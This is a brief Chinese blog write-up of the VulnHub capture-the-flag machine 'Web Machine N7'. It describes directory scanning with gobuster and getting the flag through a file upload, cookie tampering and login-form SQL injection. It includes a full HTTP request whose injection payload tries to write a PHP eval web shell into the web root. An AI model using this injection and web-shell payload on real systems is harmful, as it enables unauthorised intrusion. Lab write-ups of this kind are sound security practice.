vulnhub_Web-Machine-N7-CSDN博客

本文链接：https://blog.csdn.net/2302_80763455/article/details/147639989

background

就是个脑洞题目

上来扫目录主要找html后缀

gobuster dir -u http://192.168.1.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php .html

得到http://192.168.1.5/exploit.html 把里面的localhost地址改了传文件就行能得到一半flag

http://192.168.1.5/enter_network/ 这里不知道怎么来的大家都不知道

然后就是登录框注入出全部flag。或者这里改cookie得到另一半flag

测试了下写shell的可行性不太行 /var/www/html没有写入权限只能写入/tmp 没啥用

POST /enter_network/index.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/enter_network/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user=administrator'union select '<?php eval($_POST[1]);?>',2,3 into/**/outfile/**/"/var/www/html/68.php"--+&pass=FLAG222{N7:KSA_01}&sub=SEND